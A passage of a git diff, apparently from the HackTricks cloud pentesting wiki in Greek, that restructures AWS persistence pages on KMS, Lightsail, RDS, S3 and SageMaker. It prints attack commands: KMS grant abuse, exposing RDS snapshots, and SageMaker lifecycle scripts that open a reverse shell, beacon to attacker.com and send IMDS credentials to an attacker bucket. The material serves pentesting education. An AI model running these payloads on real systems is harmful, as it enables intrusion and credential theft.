provider (όπως το Github), οι όροι της εμπιστοσύνης μπορούν να αυξηθούν ώστε ο επιτιθέμενος να τους εκμεταλλευτεί. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md deleted file mode 100644 index b6430bfed..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - KMS Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## KMS - -Για περισσότερες πληροφορίες, ελέγξτε: - -{{#ref}} -../aws-services/aws-kms-enum.md -{{#endref}} - -### Παροχή πρόσβασης μέσω πολιτικών KMS - -Ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει την άδεια **`kms:PutKeyPolicy`** για να **δώσει πρόσβαση** σε ένα κλειδί σε έναν χρήστη υπό τον έλεγχό του ή ακόμη και σε έναν εξωτερικό λογαριασμό. Ελέγξτε τη [**σελίδα KMS Privesc**](../aws-privilege-escalation/aws-kms-privesc.md) για περισσότερες πληροφορίες. - -### Αιώνια Παροχή - -Οι παροχές είναι ένας άλλος τρόπος για να δοθούν σε έναν κύριο ορισμένες άδειες σχετικά με ένα συγκεκριμένο κλειδί. Είναι δυνατόν να δοθεί μια παροχή που επιτρέπει σε έναν χρήστη να δημιουργεί παροχές. Επιπλέον, ένας χρήστης μπορεί να έχει πολλές παροχές (ακόμη και ταυτόσημες) για το ίδιο κλειδί. - -Επομένως, είναι δυνατόν για έναν χρήστη να έχει 10 παροχές με όλες τις άδειες. Ο επιτιθέμενος θα πρέπει να παρακολουθεί αυτό συνεχώς. Και αν σε κάποιο σημείο 1 παροχή αφαιρεθεί, θα πρέπει να δημιουργηθούν άλλες 10. - -(Χρησιμοποιούμε 10 και όχι 2 για να μπορέσουμε να ανιχνεύσουμε ότι μια παροχή αφαιρέθηκε ενώ ο χρήστης εξακολουθεί να έχει κάποιες παροχές) -```bash -# To generate grants, generate 10 like this one -aws kms create-grant \ ---key-id \ ---grantee-principal \ ---operations "CreateGrant" "Decrypt" - -# To monitor grants -aws kms list-grants --key-id -``` -> [!NOTE] -> Μια χορήγηση μπορεί να δώσει δικαιώματα μόνο από αυτό: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md new file mode 100644 index 000000000..ee8b748e7 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md @@ -0,0 +1,37 @@ +# AWS - KMS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## KMS + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-kms-enum.md +{{#endref}} + +### Grant πρόσβαση μέσω KMS policies + +Ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει την άδεια **`kms:PutKeyPolicy`** για να **δώσει πρόσβαση** σε ένα key σε έναν χρήστη υπό τον έλεγχό του ή ακόμα και σε έναν εξωτερικό λογαριασμό. Δείτε τη [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) για περισσότερες πληροφορίες. + +### Eternal Grant + +Grants είναι ένας άλλος τρόπος να δοθούν σε έναν principal κάποια permissions πάνω σε ένα συγκεκριμένο key. Είναι δυνατόν να δοθεί ένα grant που επιτρέπει σε έναν χρήστη να δημιουργεί grants. Επιπλέον, ένας χρήστης μπορεί να έχει πολλαπλά grant (ακόμα και πανομοιότυπα) για το ίδιο key. + +Επομένως, είναι δυνατόν ένας χρήστης να έχει 10 grants με όλα τα permissions. Ο επιτιθέμενος πρέπει να παρακολουθεί αυτό συνεχώς. Και εάν σε κάποιο σημείο αφαιρεθεί 1 grant, τότε θα πρέπει να δημιουργηθούν άλλα 10. + +(Χρησιμοποιούμε το 10 και όχι το 2 για να μπορούμε να ανιχνεύσουμε ότι αφαιρέθηκε ένα grant ενώ ο χρήστης εξακολουθεί να έχει κάποιο grant) +```bash +# To generate grants, generate 10 like this one +aws kms create-grant \ +--key-id \ +--grantee-principal \ +--operations "CreateGrant" "Decrypt" + +# To monitor grants +aws kms list-grants --key-id +``` +> [!NOTE] +> Ένα grant μπορεί να δώσει δικαιώματα μόνο από αυτό: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md deleted file mode 100644 index c505d9a6e..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ /dev/null @@ -1,33 +0,0 @@ -# AWS - Lightsail Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Lightsail - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-lightsail-enum.md -{{#endref}} - -### Λήψη κλειδιών SSH & κωδικών βάσης δεδομένων της Instace - -Δεν θα αλλάξουν πιθανώς, οπότε το να τα έχετε είναι μια καλή επιλογή για επιμονή - -### Backdoor Instances - -Ένας επιτιθέμενος θα μπορούσε να αποκτήσει πρόσβαση στις instances και να τις backdoor: - -- Χρησιμοποιώντας ένα παραδοσιακό **rootkit** για παράδειγμα -- Προσθέτοντας ένα νέο **δημόσιο SSH key** -- Εκθέτοντας μια θύρα με port knocking με ένα backdoor - -### DNS επιμονή - -Αν τα domains είναι ρυθμισμένα: - -- Δημιουργήστε ένα υποτομέα που να δείχνει τη διεύθυνση IP σας ώστε να έχετε μια **subdomain takeover** -- Δημιουργήστε **SPF** record που να σας επιτρέπει να στέλνετε **emails** από το domain -- Ρυθμίστε τη **κύρια διεύθυνση IP του domain σας** στη δική σας και εκτελέστε ένα **MitM** από τη διεύθυνση IP σας προς τις νόμιμες - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md new file mode 100644 index 000000000..a66e10119 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md @@ -0,0 +1,33 @@ +# AWS - Lightsail Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Lightsail + +Για περισσότερες πληροφορίες δες: + +{{#ref}} +../../aws-services/aws-lightsail-enum.md +{{#endref}} + +### Λήψη Instance SSH keys & DB passwords + +Πιθανότατα δεν θα αλλάξουν, οπότε η κατοχή τους αποτελεί καλή επιλογή για persistence + +### Backdoor Instances + +Ένας attacker θα μπορούσε να αποκτήσει πρόσβαση στα instances και να εγκαταστήσει backdoor σε αυτά: + +- Χρησιμοποιώντας ένα παραδοσιακό **rootkit**, για παράδειγμα +- Προσθήκη ενός νέου **public SSH key** +- Έκθεση θύρας μέσω port knocking για backdoor + +### DNS persistence + +Εάν έχουν ρυθμιστεί domains: + +- Δημιούργησε ένα subdomain που δείχνει την IP σου ώστε να έχεις ένα **subdomain takeover** +- Δημιούργησε εγγραφή **SPF** που σου επιτρέπει να στέλνεις **emails** από το domain +- Διαμόρφωσε την **main domain IP to your own one** και εκτέλεσε **MitM** από την IP σου προς τις νόμιμες + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md deleted file mode 100644 index dbd247163..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ /dev/null @@ -1,27 +0,0 @@ -# AWS - RDS Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## RDS - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-relational-database-rds-enum.md -{{#endref}} - -### Κάντε την παρουσία δημόσια προσβάσιμη: `rds:ModifyDBInstance` - -Ένας επιτιθέμενος με αυτή την άδεια μπορεί **να τροποποιήσει μια υπάρχουσα RDS παρουσία για να επιτρέψει τη δημόσια προσβασιμότητα**. -```bash -aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately -``` -### Δημιουργία ενός χρήστη διαχειριστή μέσα στη βάση δεδομένων - -Ένας επιτιθέμενος θα μπορούσε απλά **να δημιουργήσει έναν χρήστη μέσα στη βάση δεδομένων** έτσι ώστε ακόμη και αν ο κωδικός πρόσβασης του κύριου χρήστη τροποποιηθεί, **δεν χάνει την πρόσβαση** στη βάση δεδομένων. - -### Δημιουργία δημόσιου στιγμιότυπου -```bash -aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md new file mode 100644 index 000000000..2a8a42d4c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md @@ -0,0 +1,27 @@ +# AWS - RDS Διατήρηση + +{{#include ../../../../banners/hacktricks-training.md}} + +## RDS + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-relational-database-rds-enum.md +{{#endref}} + +### Κάντε το instance δημόσια προσβάσιμο: `rds:ModifyDBInstance` + +Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να **τροποποιήσει ένα υπάρχον RDS instance για να ενεργοποιήσει τη δημόσια προσβασιμότητα**. +```bash +aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately +``` +### Δημιουργία χρήστη admin μέσα στη DB + +Ένας επιτιθέμενος μπορεί απλώς να **δημιουργήσει έναν χρήστη μέσα στη DB**, έτσι ώστε ακόμη και αν ο κωδικός του master user τροποποιηθεί, **να μην χάσει την πρόσβαση** στη βάση δεδομένων. + +### Κάντε το snapshot δημόσιο +```bash +aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md deleted file mode 100644 index b3ea3dd48..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ /dev/null @@ -1,25 +0,0 @@ -# AWS - S3 Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-s3-athena-and-glacier-enum.md -{{#endref}} - -### KMS Client-Side Encryption - -Όταν η διαδικασία κρυπτογράφησης ολοκληρωθεί, ο χρήστης θα χρησιμοποιήσει το KMS API για να δημιουργήσει ένα νέο κλειδί (`aws kms generate-data-key`) και θα **αποθηκεύσει το παραγόμενο κρυπτογραφημένο κλειδί μέσα στα μεταδεδομένα** του αρχείου ([παράδειγμα κώδικα python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) έτσι ώστε όταν γίνει η αποκρυπτογράφηση να μπορεί να το αποκρυπτογραφήσει χρησιμοποιώντας ξανά το KMS: - -
- -Επομένως, ένας επιτιθέμενος θα μπορούσε να πάρει αυτό το κλειδί από τα μεταδεδομένα και να το αποκρυπτογραφήσει με το KMS (`aws kms decrypt`) για να αποκτήσει το κλειδί που χρησιμοποιήθηκε για την κρυπτογράφηση των πληροφοριών. Με αυτόν τον τρόπο, ο επιτιθέμενος θα έχει το κλειδί κρυπτογράφησης και αν αυτό το κλειδί επαναχρησιμοποιηθεί για την κρυπτογράφηση άλλων αρχείων, θα μπορεί να το χρησιμοποιήσει. - -### Using S3 ACLs - -Αν και συνήθως οι ACLs των buckets είναι απενεργοποιημένες, ένας επιτιθέμενος με αρκετά προνόμια θα μπορούσε να τις εκμεταλλευτεί (αν είναι ενεργοποιημένες ή αν ο επιτιθέμενος μπορεί να τις ενεργοποιήσει) για να διατηρήσει πρόσβαση στο S3 bucket. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md new file mode 100644 index 000000000..a9d93a01c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md @@ -0,0 +1,25 @@ +# AWS - S3 Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-s3-athena-and-glacier-enum.md +{{#endref}} + +### KMS Client-Side Encryption + +Όταν ολοκληρωθεί η διαδικασία κρυπτογράφησης ο χρήστης θα χρησιμοποιήσει το KMS API για να δημιουργήσει ένα νέο κλειδί (`aws kms generate-data-key`) και θα **αποθηκεύσει το παραγόμενο κρυπτογραφημένο κλειδί στα μεταδεδομένα** του αρχείου ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) έτσι ώστε όταν γίνει η αποκρυπτογράφηση να μπορεί να το αποκρυπτογραφήσει ξανά χρησιμοποιώντας το KMS: + +
+ +Επομένως, ένας επιτιθέμενος θα μπορούσε να πάρει αυτό το κλειδί από τα μεταδεδομένα και να το αποκρυπτογραφήσει με το KMS (`aws kms decrypt`) για να αποκτήσει το κλειδί που χρησιμοποιήθηκε για να κρυπτογραφήσει την πληροφορία. Με αυτόν τον τρόπο ο επιτιθέμενος θα έχει το κλειδί κρυπτογράφησης και εάν αυτό το κλειδί επαναχρησιμοποιηθεί για να κρυπτογραφήσει άλλα αρχεία θα μπορεί να το χρησιμοποιήσει. + +### Using S3 ACLs + +Αν και συνήθως τα ACLs των buckets είναι απενεργοποιημένα, ένας επιτιθέμενος με επαρκή δικαιώματα θα μπορούσε να τα καταχραστεί (αν είναι ενεργοποιημένα ή αν ο επιτιθέμενος μπορεί να τα ενεργοποιήσει) για να διατηρήσει πρόσβαση στο S3 bucket. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md deleted file mode 100644 index d8d846f85..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md +++ /dev/null @@ -1,158 +0,0 @@ -# Aws Sagemaker Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Overview of Persistence Techniques - -Αυτή η ενότητα περιγράφει μεθόδους για την απόκτηση επιμονής στο SageMaker μέσω της κακής χρήσης των Lifecycle Configurations (LCCs), συμπεριλαμβανομένων των reverse shells, cron jobs, κλοπή διαπιστευτηρίων μέσω IMDS και SSH backdoors. Αυτά τα σενάρια εκτελούνται με τον ρόλο IAM της παρουσίας και μπορούν να παραμείνουν ενεργά κατά τη διάρκεια επανεκκινήσεων. Οι περισσότερες τεχνικές απαιτούν πρόσβαση στο δίκτυο εξόδου, αλλά η χρήση υπηρεσιών στο AWS control plane μπορεί να επιτρέψει επιτυχία αν το περιβάλλον είναι σε λειτουργία "VPC-only". -#### Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads. - -## Required Permissions -* Notebook Instances: -``` -sagemaker:CreateNotebookInstanceLifecycleConfig -sagemaker:UpdateNotebookInstanceLifecycleConfig -sagemaker:CreateNotebookInstance -sagemaker:UpdateNotebookInstance -``` -* Εφαρμογές Studio: -``` -sagemaker:CreateStudioLifecycleConfig -sagemaker:UpdateStudioLifecycleConfig -sagemaker:UpdateUserProfile -sagemaker:UpdateSpace -sagemaker:UpdateDomain -``` -## Ρύθμιση Διαμόρφωσης Κύκλου Ζωής σε Notebook Instances - -### Παράδειγμα Εντολών AWS CLI: -```bash -# Create Lifecycle Configuration* - -aws sagemaker create-notebook-instance-lifecycle-config \ ---notebook-instance-lifecycle-config-name attacker-lcc \ ---on-start Content=$(base64 -w0 reverse_shell.sh) - - -# Attach Lifecycle Configuration to Notebook Instance* - -aws sagemaker update-notebook-instance \ ---notebook-instance-name victim-instance \ ---lifecycle-config-name attacker-lcc -``` -## Ρύθμιση Διαμόρφωσης Κύκλου Ζωής στο SageMaker Studio - -Οι Διαμορφώσεις Κύκλου Ζωής μπορούν να προσαρτηθούν σε διάφορα επίπεδα και σε διαφορετικούς τύπους εφαρμογών εντός του SageMaker Studio. - -### Επίπεδο Τομέα Studio (Όλοι οι Χρήστες) -```bash -# Create Studio Lifecycle Configuration* - -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-studio-lcc \ ---studio-lifecycle-config-app-type JupyterServer \ ---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) - - -# Apply LCC to entire Studio Domain* - -aws sagemaker update-domain --domain-id --default-user-settings '{ -"JupyterServerAppSettings": { -"DefaultResourceSpec": {"LifecycleConfigArn": ""} -} -}' -``` -### Επίπεδο Χώρου Στούντιο (Ατομικοί ή Κοινόχρηστοι Χώροι) -```bash -# Update SageMaker Studio Space to attach LCC* - -aws sagemaker update-space --domain-id --space-name --space-settings '{ -"JupyterServerAppSettings": { -"DefaultResourceSpec": {"LifecycleConfigArn": ""} -} -}' -``` -## Τύποι Ρυθμίσεων Κύκλου Ζωής Εφαρμογής Studio - -Οι ρυθμίσεις κύκλου ζωής μπορούν να εφαρμοστούν συγκεκριμένα σε διάφορους τύπους εφαρμογών SageMaker Studio: -* JupyterServer: Εκτελεί σενάρια κατά την εκκίνηση του διακομιστή Jupyter, ιδανικό για μηχανισμούς επιμονής όπως αντίστροφες θύρες και cron jobs. -* KernelGateway: Εκτελείται κατά την εκκίνηση της εφαρμογής kernel gateway, χρήσιμο για αρχική ρύθμιση ή μόνιμη πρόσβαση. -* CodeEditor: Εφαρμόζεται στον Επεξεργαστή Κώδικα (Code-OSS), επιτρέποντας σενάρια που εκτελούνται κατά την έναρξη των συνεδριών επεξεργασίας κώδικα. - -### Παράδειγμα Εντολής για Κάθε Τύπο: - -### JupyterServer -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-jupyter-lcc \ ---studio-lifecycle-config-app-type JupyterServer \ ---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) -``` -### KernelGateway -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-kernelgateway-lcc \ ---studio-lifecycle-config-app-type KernelGateway \ ---studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) -``` -### CodeEditor -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-codeeditor-lcc \ ---studio-lifecycle-config-app-type CodeEditor \ ---studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) -``` -### Critical Info: -* Η προσθήκη LCCs σε επίπεδο τομέα ή χώρου επηρεάζει όλους τους χρήστες ή τις εφαρμογές εντός του πεδίου εφαρμογής. -* Απαιτεί υψηλότερες άδειες (sagemaker:UpdateDomain, sagemaker:UpdateSpace) που είναι συνήθως πιο εφικτές σε επίπεδο χώρου παρά σε επίπεδο τομέα. -* Οι έλεγχοι σε επίπεδο δικτύου (π.χ., αυστηρός φιλτράρισμα εξόδου) μπορούν να αποτρέψουν επιτυχείς αντίστροφες θήκες ή εξαγωγή δεδομένων. - -## Reverse Shell via Lifecycle Configuration - -SageMaker Lifecycle Configurations (LCCs) εκτελούν προσαρμοσμένα σενάρια όταν ξεκινούν οι περιπτώσεις σημειωματάριου. Ένας επιτιθέμενος με άδειες μπορεί να εγκαταστήσει μια μόνιμη αντίστροφη θήκη. - -### Payload Example: -``` -#!/bin/bash -ATTACKER_IP="" -ATTACKER_PORT="" -nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & -``` -## Cron Job Persistence via Lifecycle Configuration - -Ένας επιτιθέμενος μπορεί να εισάγει cron jobs μέσω LCC scripts, εξασφαλίζοντας περιοδική εκτέλεση κακόβουλων scripts ή εντολών, επιτρέποντας κρυφή επιμονή. - -### Payload Example: -``` -#!/bin/bash -PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" -CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" -CRON_JOB="*/30 * * * * $CRON_CMD" - -mkdir -p /home/ec2-user/SageMaker/.local_tasks -echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH -chmod +x $PAYLOAD_PATH - -(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - -``` -## Εξαγωγή Διαπιστευτηρίων μέσω IMDS (v1 & v2) - -Οι ρυθμίσεις κύκλου ζωής μπορούν να ερωτήσουν την Υπηρεσία Μεταδεδομένων Συστήματος (IMDS) για να ανακτήσουν διαπιστευτήρια IAM και να τα εξάγουν σε μια τοποθεσία που ελέγχεται από τον επιτιθέμενο. - -### Παράδειγμα Payload: -```bash -#!/bin/bash -ATTACKER_BUCKET="s3://attacker-controlled-bucket" -TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") -ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) -curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json - -# Exfiltrate via S3* - -aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json - -# Alternatively, exfiltrate via HTTP POST* - -curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md new file mode 100644 index 000000000..d6678e6c1 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md @@ -0,0 +1,230 @@ +# AWS - SageMaker Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Επισκόπηση των Persistence Techniques + +Αυτή η ενότητα περιγράφει μεθόδους για την απόκτηση persistence σε SageMaker με κατάχρηση των Lifecycle Configurations (LCCs), συμπεριλαμβανομένων των reverse shells, cron jobs, credential theft via IMDS, και SSH backdoors. Αυτά τα scripts τρέχουν με το instance’s IAM role και μπορούν να επιμείνουν μετά από επανεκκινήσεις. Οι περισσότερες τεχνικές απαιτούν outbound network access, αλλά η χρήση υπηρεσιών στο AWS control plane μπορεί ακόμα να επιτρέψει επιτυχία αν το περιβάλλον είναι σε 'VPC-only" mode. + +> [!TIP] +> Σημείωση: SageMaker notebook instances είναι ουσιαστικά διαχειριζόμενες EC2 instances ρυθμισμένες ειδικά για φορτία εργασίας μηχανικής μάθησης. + +## Απαιτούμενα Δικαιώματα +* Notebook Instances: +``` +sagemaker:CreateNotebookInstanceLifecycleConfig +sagemaker:UpdateNotebookInstanceLifecycleConfig +sagemaker:CreateNotebookInstance +sagemaker:UpdateNotebookInstance +``` +* Εφαρμογές Studio: +``` +sagemaker:CreateStudioLifecycleConfig +sagemaker:UpdateStudioLifecycleConfig +sagemaker:UpdateUserProfile +sagemaker:UpdateSpace +sagemaker:UpdateDomain +``` +## Ρύθμιση Lifecycle Configuration σε Notebook Instances + +### Παραδείγματα εντολών AWS CLI: +```bash +# Create Lifecycle Configuration* + +aws sagemaker create-notebook-instance-lifecycle-config \ +--notebook-instance-lifecycle-config-name attacker-lcc \ +--on-start Content=$(base64 -w0 reverse_shell.sh) + + +# Attach Lifecycle Configuration to Notebook Instance* + +aws sagemaker update-notebook-instance \ +--notebook-instance-name victim-instance \ +--lifecycle-config-name attacker-lcc +``` +## Ρύθμιση Lifecycle Configuration στο SageMaker Studio + +Οι Lifecycle Configurations μπορούν να επισυναφθούν σε διάφορα επίπεδα και σε διαφορετικούς τύπους εφαρμογών εντός του SageMaker Studio. + +### Επίπεδο Domain του Studio (Όλοι οι χρήστες) +```bash +# Create Studio Lifecycle Configuration* + +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-studio-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) + + +# Apply LCC to entire Studio Domain* + +aws sagemaker update-domain --domain-id --default-user-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +### Studio Space Level (Ατομικοί ή Κοινόχρηστοι Χώροι) +```bash +# Update SageMaker Studio Space to attach LCC* + +aws sagemaker update-space --domain-id --space-name --space-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +## Τύποι Ρυθμίσεων Κύκλου Ζωής Εφαρμογών Studio + +Οι ρυθμίσεις κύκλου ζωής μπορούν να εφαρμοστούν συγκεκριμένα σε διαφορετικούς τύπους εφαρμογών SageMaker Studio: +* JupyterServer: Εκτελεί scripts κατά την εκκίνηση του Jupyter server, ιδανικό για μηχανισμούς persistence όπως reverse shells και cron jobs. +* KernelGateway: Εκτελείται κατά την εκκίνηση της kernel gateway εφαρμογής, χρήσιμο για αρχική ρύθμιση ή persistent access. +* CodeEditor: Εφαρμόζεται στον Code Editor (Code-OSS), επιτρέποντας scripts που εκτελούνται με την έναρξη συνεδριών επεξεργασίας κώδικα. + +### Παράδειγμα εντολής για κάθε τύπο: + +### JupyterServer +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-jupyter-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) +``` +### KernelGateway +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-kernelgateway-lcc \ +--studio-lifecycle-config-app-type KernelGateway \ +--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) +``` +### Επεξεργαστής Κώδικα +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-codeeditor-lcc \ +--studio-lifecycle-config-app-type CodeEditor \ +--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) +``` +### Κρίσιμες Πληροφορίες: +* Η προσάρτηση των LCCs σε επίπεδο domain ή space επηρεάζει όλους τους χρήστες ή τις εφαρμογές εντός του πεδίου. +* Απαιτεί υψηλότερα δικαιώματα (sagemaker:UpdateDomain, sagemaker:UpdateSpace) — συνήθως πιο πρακτικό σε επίπεδο space παρά σε επίπεδο domain. +* Ο έλεγχος σε επίπεδο δικτύου (π.χ. αυστηρό egress filtering) μπορεί να αποτρέψει επιτυχημένα reverse shells ή data exfiltration. + +## Reverse Shell μέσω Lifecycle Configuration + +Οι SageMaker Lifecycle Configurations (LCCs) εκτελούν προσαρμοσμένα scripts όταν ξεκινούν notebook instances. Ένας attacker με δικαιώματα μπορεί να δημιουργήσει ένα επίμονο reverse shell. + +### Παράδειγμα Payload: +``` +#!/bin/bash +ATTACKER_IP="" +ATTACKER_PORT="" +nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & +``` +## Cron Job Persistence μέσω Lifecycle Configuration + +Ένας επιτιθέμενος μπορεί να εισάγει cron jobs μέσω LCC scripts, εξασφαλίζοντας περιοδική εκτέλεση κακόβουλων scripts ή commands, επιτρέποντας διακριτή persistence. + +### Παράδειγμα Payload: +``` +#!/bin/bash +PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" +CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" +CRON_JOB="*/30 * * * * $CRON_CMD" + +mkdir -p /home/ec2-user/SageMaker/.local_tasks +echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH +chmod +x $PAYLOAD_PATH + +(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - +``` +## Credential Exfiltration via IMDS (v1 & v2) + +Οι Lifecycle configurations μπορούν να κάνουν query στο Instance Metadata Service (IMDS) για να ανακτήσουν IAM credentials και να τα exfiltrate σε μία attacker-controlled τοποθεσία. + +### Payload Example: +```bash +#!/bin/bash +ATTACKER_BUCKET="s3://attacker-controlled-bucket" +TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") +ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json + +# Exfiltrate via S3* + +aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json + +# Alternatively, exfiltrate via HTTP POST* + +curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload +``` +## Persistence via Model Registry resource policy (PutModelPackageGroupPolicy) + +Καταχράσου την resource-based policy σε ένα SageMaker Model Package Group για να χορηγήσεις σε έναν εξωτερικό principal cross-account δικαιώματα 